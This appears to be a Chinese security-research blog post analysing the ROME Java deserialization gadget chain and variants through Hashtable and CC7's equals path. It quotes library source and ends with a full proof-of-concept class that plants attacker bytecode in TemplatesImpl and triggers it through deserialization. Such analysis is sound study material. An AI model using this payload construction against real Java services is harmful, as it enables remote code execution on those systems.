ROME链
静态分析
ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。ROME链其实可以理解为fastjson的触发,就是调用任意的getter方法。
Gadget
HashMap#readObject -> ObjectBean#hashCode() -> ToStringBean#toString(String) -> TemplatesImpl.getOutputProperties()
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
依赖
<dependencies>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
</dependencies>
加载到字节码的关键点是ToStringBean的toString
方法。它通过反射来获取对象的属性并调用 getter 方法
通过 BeanIntrospector.getPropertyDescriptors(this._beanClass)
获取当前对象类的所有属性描述符。属性描述符(PropertyDescriptor
)包含了 JavaBean 属性的信息,如属性名、读写方法(getter、setter 方法)等。
之后对这些getter、setter 方法进行遍历,pName
是属性的名字,pReadMethod
是属性的 getter 方法,即用于获取属性值的读取方法。这里我们获取TemplatesImpl的getOutputProperties
,然后在后面invoke执行,加载到我们恶意字节码
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);
try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + pName, value);
}
}
}
} catch (Exception var8) {
sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n");
}
return sb.toString();
}
ToStringBean是有两个toString
方法的,上面这个tostring是从另一个tostring调用过来的,我们需要控制this._obj
是我们的TemplatesImpl
继续往外跟,ObjectBean.toString()
,我们跟进去看看,可以看到ObjectBean他一下实现了三个Bean,而触发了他的toSting方法,就会执行到ToStringBean的toSting方法
那么如何执行到ToStringBean的toSting方法呢,这里是用到了EqualsBean的beanHashCode(),这里的this._obj
就是ObjectBean
public int beanHashCode() {
return this._obj.toString().hashCode();
}
那么再往前跟,会发现执行beanHashCode的地方,居然又回到了ObjectBean,在ObjectBean的hashCode方法,所以this._equalsBean应该是EqualsBean
public int hashCode() {
return this._equalsBean.beanHashCode();
}
那触发hashCode的地方就多了,这里我们可以用一个HashMap.put就行了
动态调试
触发hashcode
触发EqualsBean.class的beanHashCode
触发ObjectBean.class的toString()
触发ToStringBean.class的toString()
调用重载
执行
其他利用链
这个链子其实非常简单,所以会有很多排列组合,只需要反序列化入口能够触发hashcode()方法或者最终触发到ToStringBean方法的tostring就行
Hashtable1
Hashtable.readObject()
Hashtable.reconstitutionPut()
AbstractMap.equals()
EqualsBean.equals(TemplatesImpl)
EqualsBean.beanEquals(TemplatesImpl)
pReadMethod.invoke(_obj, NO_PARAMS)
TemplatesImpl.getOutputProperties()
前半段的利用和CC7的一样的,但是和前面分析的rome链好像思路区别很大,贴一下CC7的链子
Gadget chain:
Hashtable.readObject
Hashtable.reconstitutionPut
AbstractMapDecorator.equals
AbstractMap.equals
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
EqualBean他的beanEquals
方法,也触发了invoke,这执行点都不一样了哇
public boolean beanEquals(Object obj) {
Object bean1 = this._obj;
Object bean2 = obj;
boolean eq;
if (obj == null) {
eq = false;
} else if (bean1 == null && obj == null) {
eq = true;
} else if (bean1 != null && obj != null) {
if (!this._beanClass.isInstance(obj)) {
eq = false;
} else {
eq = true;
try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; eq && i < pds.length; ++i) {
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
Object value1 = pReadMethod.invoke(bean1, NO_PARAMS);
Object value2 = pReadMethod.invoke(bean2, NO_PARAMS);
eq = this.doEquals(value1, value2);
}
}
}
} catch (Exception var10) {
throw new RuntimeException("Could not execute equals()", var10);
}
}
} else {
eq = false;
}
return eq;
}
然后这个类里面还有一个equals方法调用到了这个方法
public boolean equals(Object obj) {
return this.beanEquals(obj);
}
接下来就是找哪里会调用到这个equals
这里其实就拼接上CC7的equals了
Hashtable.readObject()
Hashtable.reconstitutionPut()
AbstractMap.equals()
尝试构造一个,要注意的是传入hashtable的map,这里每一个hashmap都要put两个元素进去,CC7都不用,这里我调试了一下分析发现,这里EqualsBean的beanEquals这里要执行到下面的反射,必须得满足obj != null
如果我们不给hashMap传两个值,那么就会导致AbstractMap的equals方法里,m.get拿不到值导致null
注意到这里计算hashCode,是对Map中每一个元素计算后相加
Hashtable2
reconstitutionPut()
调用了hashcode,所以也可以直接在这里触发上面的rome链
HashTable#ReadObject() -> ObjectBean#hashCode() -> ToStringBean#toString(String) -> TemplatesImpl.getOutputProperties()
package rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Hashtable;
public class rome3_HashTable {
public static byte[] serialize(Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object deserialize(byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
Object o = objIn.readObject();
return o;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
CtClass clazzz = pool.get(evil.class.getName());
byte[] code = clazzz.toBytecode();
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {code});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
Hashtable hashtable = new Hashtable();
hashtable.put(objectBean,"123");
byte[] obj = serialize(hashtable);
deserialize(obj);
}
}
还有很多,以后再总结吧